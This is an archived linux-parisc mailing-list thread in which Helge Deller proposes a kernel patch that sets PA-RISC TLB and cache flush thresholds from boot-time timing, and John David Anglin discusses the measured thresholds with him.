X-Trace: ger.gmane.org 1432931729 8330 80.91.229.3 (29 May 2015 20:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 20:35:29 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 29 22:35:23 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YyQzw-00069o-Sb
	for glpp-linux-parisc@plane.gmane.org; Fri, 29 May 2015 22:35:21 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757151AbbE2UfO (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 May 2015 16:35:14 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:53132 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756860AbbE2UfD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 May 2015 16:35:03 -0400
Original-Received: from [192.168.20.60] ([92.203.102.216]) by mail.gmx.com (mrgmx102)
 with ESMTPSA (Nemesis) id 0LtUHA-1Z89q81m4q-010y21; Fri, 29 May 2015 22:34:56
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <20150529201317.GA4795@ls3530.box>
X-Provags-ID: V03:K0:ClX8hFUmCSfX+bxzUXZ+qfLFBarhJuCMpx2ycBmkG4Oj6/orIeU
 hpwKLhSD1XyL22O6ulT8XZASvdBANK7O7fOi/RaOcq/jrNZuRO70JZV8xRzjyq4xMVDcu3a
 ng2Prml0caYA2IP0AOrZIAO2h0tnV+AcYBW//L2jawhFbiTL1wyw5u2kccub+mFBC3AeZ3A
 g3JwT/TykRnaz6DnlA0yw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ikEc6Hu3oMM=:p7gmDG1mBDlz7f2aYWCO8h
 MYniRL0eZcKpktvRBERx3I2onkmVxbTpLoZSLtJujBh5uiM8tfNekReAID5WfqAT3AOe3eNOK
 KWwH+Gn+R64pMTpjXHfEOwjKUHATx6J9mlHXRvrBFZqAHLstPF24KFqldPmflEXJiaE/OA4l1
 ocpDG7JTbyPI22uHucVkXajYCSMpiSzWwwkUWWvfsiWz40hNTNhbuw4sWlsvcRc24cUBfwa44
 Ztwnq/CIyMUXBEDvkci5AYyBt8SWxD7oCgOXgNBIUuTE/ZxA2r1E8/UO7pNthVGIy/IbmowIN
 E6uZJdqoKge0GpGu3r+9Wfrycy6VBMLib5StYqy0T8G2/IV81sbvISFsMR7HZ5PexxKJJCnrY
 NnLPRtsic+9FL0jVnw+xy7+5o6PxY3aTdOBBE2fpS1nQOXQEXTRsLRAIjwAApy43M9Jiy+X3V
 wV2JssQpz7iQX9fjX7jkClCip1emazBA5ztSEgpuWGUX1/mnjyf7MMI3jvr4dsmMVmInrZDx4
 N618WTayjs+n5mekBjvZBP8/Tf20WezNTGCA8yDItWt9A0F4dDlKFQGzwkAVP1g1osYn2U7xp
 8ItO/E8XPyEaQ/hWWJ21E5/ESNmrCbOR2uJyvZo1/IxlSnw7j1/z+1Q0VebcNzn+c68cMYGNU
 zjNQN5D4PYton/B/lHe0DQdFpVRJ2DR5NEBZyJylNdnteEqTZDDTHPZp4NNiK1lG9XR0=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25748
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25748>

On 29.05.2015 22:13, Helge Deller wrote:
> This patch optimizes the TLB flushing functions flush_tlb_mm() and
> __flush_tlb_range() in a way that it adds timing routines to calculate
> the optimal size up to which flushes of small TLB ranges perform faster
> than when performing a full TLB shootdown.
>
> Here are some timing results for a rp5470 and J5000 machine:
>
> Machine: rp5470, PA8700, 875 MHz
> I-cache         : 768 KB
> D-cache         : 1536 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
>
> Whole cache flush 692084 cycles, flushing 13214592 bytes 5904392 cycles
> Setting cache flush threshold to 1512 kB.
> Whole TLB flush 40990 cycles, flushing 4096000 bytes 448989 cycles
> Setting TLB flush threshold to 368 kB.
>
> Machine: J5000/785, PA8500, 440MHz
> I-cache         : 512 KB
> D-cache         : 1024 KB (WB, direct mapped)
> ITLB entries    : 160
> DTLB entries    : 160 - shared with ITLB
>
> Whole cache flush 268605 cycles, flushing 13214592 bytes 1861037 cycles
> Setting cache flush threshold to 1024 kB
> Whole TLB flush 14131 cycles, flushing 13221888 bytes 769329 cycles
> Setting TLB flush threshold to 240 kB


One more machine:
Machine: C8000, PA8800, 2 CPUs each 900 MHz
I-cache         : 32768 KB
D-cache         : 32768 KB (WB, direct mapped)
ITLB entries    : 240
DTLB entries    : 240 - shared with ITLB

Whole cache flush 4298354 cycles, flushing 13214592 bytes 1440513 cycles
Setting cache flush threshold to 32768 kB
Whole TLB flush 15625 cycles, flushing 13221888 bytes 781230 cycles
Setting TLB flush threshold to 260 kB

  
> Signed-off-by: Helge Deller <deller@gmx.de>
>
> diff --git a/arch/parisc/include/asm/tlbflush.h b/arch/parisc/include/asm/tlbflush.h
> index 9d086a5..5e81e17 100644
> --- a/arch/parisc/include/asm/tlbflush.h
> +++ b/arch/parisc/include/asm/tlbflush.h
> @@ -24,40 +24,25 @@ extern void flush_tlb_all_local(void *);
>
>   #define smp_flush_tlb_all()	flush_tlb_all()
>
> -/*
> - * flush_tlb_mm()
> - *
> - * XXX This code is NOT valid for HP-UX compatibility processes,
> - * (although it will probably work 99% of the time). HP-UX
> - * processes are free to play with the space id's and save them
> - * over long periods of time, etc. so we have to preserve the
> - * space and just flush the entire tlb. We need to check the
> - * personality in order to do that, but the personality is not
> - * currently being set correctly.
> - *
> - * Of course, Linux processes could do the same thing, but
> - * we don't support that (and the compilers, dynamic linker,
> - * etc. do not do that).
> - */
> +int __flush_tlb_range(unsigned long sid,
> +	unsigned long start, unsigned long end);
> +
> +#define flush_tlb_range(vma, start, end) \
> +	__flush_tlb_range((vma)->vm_mm->context, start, end)
> +
> +#define flush_tlb_kernel_range(start, end) \
> +	__flush_tlb_range(0, start, end)
>
>   static inline void flush_tlb_mm(struct mm_struct *mm)
>   {
> -	BUG_ON(mm == &init_mm); /* Should never happen */
> -
> -#if 1 || defined(CONFIG_SMP)
> -	flush_tlb_all();
> -#else
> -	/* FIXME: currently broken, causing space id and protection ids
> -	 *  to go out of sync, resulting in faults on userspace accesses.
> -	 */
> -	if (mm) {
> -		if (mm->context != 0)
> -			free_sid(mm->context);
> -		mm->context = alloc_sid();
> -		if (mm == current->active_mm)
> -			load_context(mm->context);
> +	struct vm_area_struct *vma;
> +
> +	for (vma = mm->mmap; vma; vma = vma->vm_next) {
> +		/* exit loop if flush_tlb_all() was called. */
> +		if (unlikely(__flush_tlb_range(mm->context,
> +				vma->vm_start, vma->vm_end)))
> +			return;
>   	}
> -#endif
>   }
>
>   static inline void flush_tlb_page(struct vm_area_struct *vma,
> @@ -76,11 +61,4 @@ static inline void flush_tlb_page(struct vm_area_struct *vma,
>   	purge_tlb_end(flags);
>   }
>
> -void __flush_tlb_range(unsigned long sid,
> -	unsigned long start, unsigned long end);
> -
> -#define flush_tlb_range(vma,start,end) __flush_tlb_range((vma)->vm_mm->context,start,end)
> -
> -#define flush_tlb_kernel_range(start, end) __flush_tlb_range(0,start,end)
> -
>   #endif
> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
> index f6448c7..4eac923 100644
> --- a/arch/parisc/kernel/cache.c
> +++ b/arch/parisc/kernel/cache.c
> @@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
>   EXPORT_SYMBOL(flush_kernel_icache_range_asm);
>
>   #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
> -int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
> +static unsigned long parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
> +
> +#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB threshold */
> +static unsigned long parisc_tlb_flush_threshold __read_mostly = FLUSH_TLB_THRESHOLD;
>
>   void __init parisc_setup_cache_timing(void)
>   {
>   	unsigned long rangetime, alltime;
> -	unsigned long size;
> +	unsigned long size, start;
>
>   	alltime = mfctl(16);
>   	flush_data_cache();
> @@ -364,14 +367,42 @@ void __init parisc_setup_cache_timing(void)
>   	/* Racy, but if we see an intermediate value, it's ok too... */
>   	parisc_cache_flush_threshold = size * alltime / rangetime;
>
> -	parisc_cache_flush_threshold = (parisc_cache_flush_threshold + L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1);
> +	parisc_cache_flush_threshold = L1_CACHE_ALIGN(parisc_cache_flush_threshold);
>   	if (!parisc_cache_flush_threshold)
>   		parisc_cache_flush_threshold = FLUSH_THRESHOLD;
>
>   	if (parisc_cache_flush_threshold > cache_info.dc_size)
>   		parisc_cache_flush_threshold = cache_info.dc_size;
>
> -	printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs online)\n", parisc_cache_flush_threshold, num_online_cpus());
> +	printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
> +		parisc_cache_flush_threshold/1024);
> +
> +	/* calculate TLB flush threshold */
> +
> +	alltime = mfctl(16);
> +	flush_tlb_all();
> +	alltime = mfctl(16) - alltime;
> +
> +	size = PAGE_SIZE;
> +	start = (unsigned long) _text;
> +	rangetime = mfctl(16);
> +	while (start < (unsigned long) _end) {
> +		flush_tlb_kernel_range(start, start + PAGE_SIZE);
> +		start += PAGE_SIZE;
> +		size += PAGE_SIZE;
> +	}
> +	rangetime = mfctl(16) - rangetime;
> +
> +	printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu bytes %lu cycles\n",
> +		alltime, size, rangetime);
> +
> +	parisc_tlb_flush_threshold = size * alltime / rangetime;
> +	parisc_tlb_flush_threshold = PAGE_ALIGN(parisc_tlb_flush_threshold);
> +	if (!parisc_tlb_flush_threshold)
> +		parisc_tlb_flush_threshold = FLUSH_TLB_THRESHOLD;
> +
> +	printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
> +		parisc_tlb_flush_threshold/1024);
>   }
>
>   extern void purge_kernel_dcache_page_asm(unsigned long);
> @@ -418,32 +449,39 @@ void purge_tlb_entries(struct mm_struct *mm, unsigned long addr)
>   }
>   EXPORT_SYMBOL(purge_tlb_entries);
>
> -void __flush_tlb_range(unsigned long sid, unsigned long start,
> +/* __flush_tlb_range()
> + *
> + * returns 1 if all TLBs were flushed.
> + */
> +int __flush_tlb_range(unsigned long sid, unsigned long start,
>   		       unsigned long end)
>   {
> -	unsigned long npages;
> +	unsigned long size;
>
> -	npages = ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> PAGE_SHIFT;
> -	if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
> +	size = (end - start);
> +	if (size >= parisc_tlb_flush_threshold) {
>   		flush_tlb_all();
> +		return 1;
> +	}
>   	else {
>   		unsigned long flags;
>
>   		purge_tlb_start(flags);
>   		mtsp(sid, 1);
>   		if (split_tlb) {
> - 	 		while (npages--) {
> +			while (start < end) {
>   				pdtlb(start);
>   				pitlb(start);
>   				start += PAGE_SIZE;
>   			}
>   		} else {
> -			while (npages--) {
> +			while (start < end) {
>   				pdtlb(start);
>   				start += PAGE_SIZE;
>   			}
>   		}
>   		purge_tlb_end(flags);
> +		return 0;
>   	}
>   }
>
>

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][RFC] parisc: Optimize TLB flush functions based on timing
 results
Date: Fri, 29 May 2015 16:40:44 -0400
Lines: 263
Approved: news@gmane.org
Message-ID: <BLU436-SMTP15817EC2AF63935C13FDE1197C90@phx.gbl>
References: <20150529201317.GA4795@ls3530.box> <5568CD6E.20204@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="windows-1252"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1432932067 13646 80.91.229.3 (29 May 2015 20:41:07 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 20:41:07 +0000 (UTC)
To: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 29 22:40:58 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YyR5D-00012p-7e
	for glpp-linux-parisc@plane.gmane.org; Fri, 29 May 2015 22:40:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756818AbbE2Ukq (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 May 2015 16:40:46 -0400
Original-Received: from blu004-omc4s15.hotmail.com ([65.55.111.154]:61624 "EHLO
	BLU004-OMC4S15.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1756539AbbE2Ukq (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 May 2015 16:40:46 -0400
Original-Received: from BLU436-SMTP158 ([65.55.111.135]) by BLU004-OMC4S15.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Fri, 29 May 2015 13:40:45 -0700
X-TMN: [v2NNxX0usfi1+S2r8J8kNBDe+TqdpvH/]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <5568CD6E.20204@gmx.de>
X-OriginalArrivalTime: 29 May 2015 20:40:44.0081 (UTC) FILETIME=[BBFDCA10:01D09A4F]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25749
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25749>

So, the threshold for the whole cache flush is roughly the size of the 
cache.

On 2015-05-29 4:34 PM, Helge Deller wrote:
> On 29.05.2015 22:13, Helge Deller wrote:
>> This patch optimizes the TLB flushing functions flush_tlb_mm() and
>> __flush_tlb_range() in a way that it adds timing routines to calculate
>> the optimal size up to which flushes of small TLB ranges perform faster
>> than when performing a full TLB shootdown.
>>
>> Here are some timing results for a rp5470 and J5000 machine:
>>
>> Machine: rp5470, PA8700, 875 MHz
>> I-cache         : 768 KB
>> D-cache         : 1536 KB (WB, direct mapped)
>> ITLB entries    : 240
>> DTLB entries    : 240 - shared with ITLB
>>
>> Whole cache flush 692084 cycles, flushing 13214592 bytes 5904392 cycles
>> Setting cache flush threshold to 1512 kB.
>> Whole TLB flush 40990 cycles, flushing 4096000 bytes 448989 cycles
>> Setting TLB flush threshold to 368 kB.
>>
>> Machine: J5000/785, PA8500, 440MHz
>> I-cache         : 512 KB
>> D-cache         : 1024 KB (WB, direct mapped)
>> ITLB entries    : 160
>> DTLB entries    : 160 - shared with ITLB
>>
>> Whole cache flush 268605 cycles, flushing 13214592 bytes 1861037 cycles
>> Setting cache flush threshold to 1024 kB
>> Whole TLB flush 14131 cycles, flushing 13221888 bytes 769329 cycles
>> Setting TLB flush threshold to 240 kB
>
>
> One more machine:
> Machine: C8000, PA8800, 2 CPUs each 900 MHz
> I-cache         : 32768 KB
> D-cache         : 32768 KB (WB, direct mapped)
> ITLB entries    : 240
> DTLB entries    : 240 - shared with ITLB
>
> Whole cache flush 4298354 cycles, flushing 13214592 bytes 1440513 cycles
> Setting cache flush threshold to 32768 kB
> Whole TLB flush 15625 cycles, flushing 13221888 bytes 781230 cycles
> Setting TLB flush threshold to 260 kB
>
>
>> Signed-off-by: Helge Deller <deller@gmx.de>
>>
>> diff --git a/arch/parisc/include/asm/tlbflush.h 
>> b/arch/parisc/include/asm/tlbflush.h
>> index 9d086a5..5e81e17 100644
>> --- a/arch/parisc/include/asm/tlbflush.h
>> +++ b/arch/parisc/include/asm/tlbflush.h
>> @@ -24,40 +24,25 @@ extern void flush_tlb_all_local(void *);
>>
>>   #define smp_flush_tlb_all()    flush_tlb_all()
>>
>> -/*
>> - * flush_tlb_mm()
>> - *
>> - * XXX This code is NOT valid for HP-UX compatibility processes,
>> - * (although it will probably work 99% of the time). HP-UX
>> - * processes are free to play with the space id's and save them
>> - * over long periods of time, etc. so we have to preserve the
>> - * space and just flush the entire tlb. We need to check the
>> - * personality in order to do that, but the personality is not
>> - * currently being set correctly.
>> - *
>> - * Of course, Linux processes could do the same thing, but
>> - * we don't support that (and the compilers, dynamic linker,
>> - * etc. do not do that).
>> - */
>> +int __flush_tlb_range(unsigned long sid,
>> +    unsigned long start, unsigned long end);
>> +
>> +#define flush_tlb_range(vma, start, end) \
>> +    __flush_tlb_range((vma)->vm_mm->context, start, end)
>> +
>> +#define flush_tlb_kernel_range(start, end) \
>> +    __flush_tlb_range(0, start, end)
>>
>>   static inline void flush_tlb_mm(struct mm_struct *mm)
>>   {
>> -    BUG_ON(mm == &init_mm); /* Should never happen */
>> -
>> -#if 1 || defined(CONFIG_SMP)
>> -    flush_tlb_all();
>> -#else
>> -    /* FIXME: currently broken, causing space id and protection ids
>> -     *  to go out of sync, resulting in faults on userspace accesses.
>> -     */
>> -    if (mm) {
>> -        if (mm->context != 0)
>> -            free_sid(mm->context);
>> -        mm->context = alloc_sid();
>> -        if (mm == current->active_mm)
>> -            load_context(mm->context);
>> +    struct vm_area_struct *vma;
>> +
>> +    for (vma = mm->mmap; vma; vma = vma->vm_next) {
>> +        /* exit loop if flush_tlb_all() was called. */
>> +        if (unlikely(__flush_tlb_range(mm->context,
>> +                vma->vm_start, vma->vm_end)))
>> +            return;
>>       }
>> -#endif
>>   }
>>
>>   static inline void flush_tlb_page(struct vm_area_struct *vma,
>> @@ -76,11 +61,4 @@ static inline void flush_tlb_page(struct 
>> vm_area_struct *vma,
>>       purge_tlb_end(flags);
>>   }
>>
>> -void __flush_tlb_range(unsigned long sid,
>> -    unsigned long start, unsigned long end);
>> -
>> -#define flush_tlb_range(vma,start,end) 
>> __flush_tlb_range((vma)->vm_mm->context,start,end)
>> -
>> -#define flush_tlb_kernel_range(start, end) 
>> __flush_tlb_range(0,start,end)
>> -
>>   #endif
>> diff --git a/arch/parisc/kernel/cache.c b/arch/parisc/kernel/cache.c
>> index f6448c7..4eac923 100644
>> --- a/arch/parisc/kernel/cache.c
>> +++ b/arch/parisc/kernel/cache.c
>> @@ -342,12 +342,15 @@ EXPORT_SYMBOL(flush_data_cache_local);
>>   EXPORT_SYMBOL(flush_kernel_icache_range_asm);
>>
>>   #define FLUSH_THRESHOLD 0x80000 /* 0.5MB */
>> -int parisc_cache_flush_threshold __read_mostly = FLUSH_THRESHOLD;
>> +static unsigned long parisc_cache_flush_threshold __read_mostly = 
>> FLUSH_THRESHOLD;
>> +
>> +#define FLUSH_TLB_THRESHOLD (2*1024*1024) /* 2MB initial TLB 
>> threshold */
>> +static unsigned long parisc_tlb_flush_threshold __read_mostly = 
>> FLUSH_TLB_THRESHOLD;
>>
>>   void __init parisc_setup_cache_timing(void)
>>   {
>>       unsigned long rangetime, alltime;
>> -    unsigned long size;
>> +    unsigned long size, start;
>>
>>       alltime = mfctl(16);
>>       flush_data_cache();
>> @@ -364,14 +367,42 @@ void __init parisc_setup_cache_timing(void)
>>       /* Racy, but if we see an intermediate value, it's ok too... */
>>       parisc_cache_flush_threshold = size * alltime / rangetime;
>>
>> -    parisc_cache_flush_threshold = (parisc_cache_flush_threshold + 
>> L1_CACHE_BYTES - 1) &~ (L1_CACHE_BYTES - 1);
>> +    parisc_cache_flush_threshold = 
>> L1_CACHE_ALIGN(parisc_cache_flush_threshold);
>>       if (!parisc_cache_flush_threshold)
>>           parisc_cache_flush_threshold = FLUSH_THRESHOLD;
>>
>>       if (parisc_cache_flush_threshold > cache_info.dc_size)
>>           parisc_cache_flush_threshold = cache_info.dc_size;
>>
>> -    printk(KERN_INFO "Setting cache flush threshold to %x (%d CPUs 
>> online)\n", parisc_cache_flush_threshold, num_online_cpus());
>> +    printk(KERN_INFO "Setting cache flush threshold to %lu kB\n",
>> +        parisc_cache_flush_threshold/1024);
>> +
>> +    /* calculate TLB flush threshold */
>> +
>> +    alltime = mfctl(16);
>> +    flush_tlb_all();
>> +    alltime = mfctl(16) - alltime;
>> +
>> +    size = PAGE_SIZE;
>> +    start = (unsigned long) _text;
>> +    rangetime = mfctl(16);
>> +    while (start < (unsigned long) _end) {
>> +        flush_tlb_kernel_range(start, start + PAGE_SIZE);
>> +        start += PAGE_SIZE;
>> +        size += PAGE_SIZE;
>> +    }
>> +    rangetime = mfctl(16) - rangetime;
>> +
>> +    printk(KERN_DEBUG "Whole TLB flush %lu cycles, flushing %lu 
>> bytes %lu cycles\n",
>> +        alltime, size, rangetime);
>> +
>> +    parisc_tlb_flush_threshold = size * alltime / rangetime;
>> +    parisc_tlb_flush_threshold = 
>> PAGE_ALIGN(parisc_tlb_flush_threshold);
>> +    if (!parisc_tlb_flush_threshold)
>> +        parisc_tlb_flush_threshold = FLUSH_TLB_THRESHOLD;
>> +
>> +    printk(KERN_INFO "Setting TLB flush threshold to %lu kB\n",
>> +        parisc_tlb_flush_threshold/1024);
>>   }
>>
>>   extern void purge_kernel_dcache_page_asm(unsigned long);
>> @@ -418,32 +449,39 @@ void purge_tlb_entries(struct mm_struct *mm, 
>> unsigned long addr)
>>   }
>>   EXPORT_SYMBOL(purge_tlb_entries);
>>
>> -void __flush_tlb_range(unsigned long sid, unsigned long start,
>> +/* __flush_tlb_range()
>> + *
>> + * returns 1 if all TLBs were flushed.
>> + */
>> +int __flush_tlb_range(unsigned long sid, unsigned long start,
>>                  unsigned long end)
>>   {
>> -    unsigned long npages;
>> +    unsigned long size;
>>
>> -    npages = ((end - (start & PAGE_MASK)) + (PAGE_SIZE - 1)) >> 
>> PAGE_SHIFT;
>> -    if (npages >= 512)  /* 2MB of space: arbitrary, should be tuned */
>> +    size = (end - start);
>> +    if (size >= parisc_tlb_flush_threshold) {
>>           flush_tlb_all();
>> +        return 1;
>> +    }
>>       else {
>>           unsigned long flags;
>>
>>           purge_tlb_start(flags);
>>           mtsp(sid, 1);
>>           if (split_tlb) {
>> -              while (npages--) {
>> +            while (start < end) {
>>                   pdtlb(start);
>>                   pitlb(start);
>>                   start += PAGE_SIZE;
>>               }
>>           } else {
>> -            while (npages--) {
>> +            while (start < end) {
>>                   pdtlb(start);
>>                   start += PAGE_SIZE;
>>               }
>>           }
>>           purge_tlb_end(flags);
>> +        return 0;
>>       }
>>   }
>>
>>
>
>
>


-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH][RFC] parisc: Optimize TLB flush functions based on timing
 results
Date: Fri, 29 May 2015 22:46:01 +0200
Lines: 258
Approved: news@gmane.org
Message-ID: <5568D009.5040101@gmx.de>
References: <20150529201317.GA4795@ls3530.box> <5568CD6E.20204@gmx.de> <BLU436-SMTP15817EC2AF63935C13FDE1197C90@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1432932385 18676 80.91.229.3 (29 May 2015 20:46:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 29 May 2015 20:46:25 +0000 (UTC)
To: John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri May 29 22:46:14 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YyRAT-0005vw-7f
	for glpp-linux-parisc@plane.gmane.org; Fri, 29 May 2015 22:46:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756718AbbE2UqM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 29 May 2015 16:46:12 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:62586 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756450AbbE2UqL (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 29 May 2015 16:46:11 -0400
Original-Received: from [192.168.20.60] ([92.203.102.216]) by mail.gmx.com (mrgmx101)
 with ESMTPSA (Nemesis) id 0Lxt3Q-1ZCYJj3pwq-015EUL; Fri, 29 May 2015 22:46:04
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:31.0) Gecko/20100101 Thunderbird/31.7.0
In-Reply-To: <BLU436-SMTP15817EC2AF63935C13FDE1197C90@phx.gbl>
X-Provags-ID: V03:K0:4pMuAsgKOdToI4Jkabm2ZOlr66wRRhk5vClsQYt7+hiWXNicplv
 pEVrVPpgaK9unKAPNatds/XCuh1ne5G7UgEvnIdhJyHO/qu/wBCE/sQAvNkW3wBMN+E0zxr
 Ied14dgespV5mqFn5cPx4O2dmL7aMjPRSJP9hYBQHu2ylLfK9gZOMMWzvOa8gXic7P61sox
 n4Uyxb6Wp1kSIHIJxA2Dw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:jWyo/NblCmY=:C1n+lhHrDnX3jGS1ysMKso
 gUo0eewVKsWNqpuinQPnQZgOtv1J8vRAf5hUzBFk/ifWrytSqdgOg6Csh/GY6veemUpbGipsY
 /JKlSGwUh5Un+iCJFS2tQY4HHC6I3PVMRAhC8Y9Z3V96uR77VMusmr95O09NcW2h/ZOkGTb7C
 D25jfcUZU1XyXuGjPil8p8lxbj1ljtQs4vSDdjy+6pU6WI3atCKB2CLw3xJ8uA33fW1NLSeXu
 HgZ7lqJeC+v9rZ+JboKYf15bXojxZkfV0fRQjF5T+T4QHVYLu91PbsRGKuAvCVqRyk+0QLet5
 VWHN/kpGouomMPIJHZjkSeISxizhYIqxpkvxVCU/151nDb+k0IpbGC1VkXWi7y3vJr/CENUct
 49sDymSOKL+5zoMqc82os5N+2gdGANQT8QC574W6sRGploa+SUykJwpw9hhl8JR0N9qTdK0OD
 PgFHrVxdI77ZOhHsTINYnggZZTuQyg/yMHXE/BL6O6rRHlIeVAMQRsf+9R3zhfm0NhGhEvzOh
 Rh6LZ7dGSP0hu+frab1EPHpb20aAa3dpu6Pp97zt8WhRt3Gk+YiHd1oAzkxa+EmRSAOUM+zK0
 LEm/z5D4Us+tDcqRLjqBjzfPcHHaqM7C8zG8zYHo3JIHFi2wTTeqkbaj7DjHDgePrQxjvcjYz
 4qLX1ZondfDXAYuHmlLuWrrAd6VCVx/ionYbTdiet4V1hPWtHzSoHX4IRYxExgGNGFsA=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25750
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25750>

On 29.05.2015 22:40, John David Anglin wrote:
> So, the threshold for the whole cache flush is roughly the size of the cache.

It's exactly the size of the cache, because of this line in arch/parisc/kernel/cache.c:
         if (parisc_cache_flush_threshold > cache_info.dc_size)
                 parisc_cache_flush_threshold = cache_info.dc_size;

So, if the calculated threshold is bigger than the cache, the code chooses
the cache size.

Helge


>
> On 2015-05-29 4:34 PM, Helge Deller wrote:
>> On 29.05.2015 22:13, Helge Deller wrote:
>>> This patch optimizes the TLB flushing functions flush_tlb_mm() and
>>> __flush_tlb_range() in a way that it adds timing routines to calculate
>>> the optimal size up to which flushes of small TLB ranges perform faster
>>> than when performing a full TLB shootdown.
>>>
>>> Here are some timing results for a rp5470 and J5000 machine:
>>>
>>> Machine: rp5470, PA8700, 875 MHz
>>> I-cache         : 768 KB
>>> D-cache         : 1536 KB (WB, direct mapped)
>>> ITLB entries    : 240
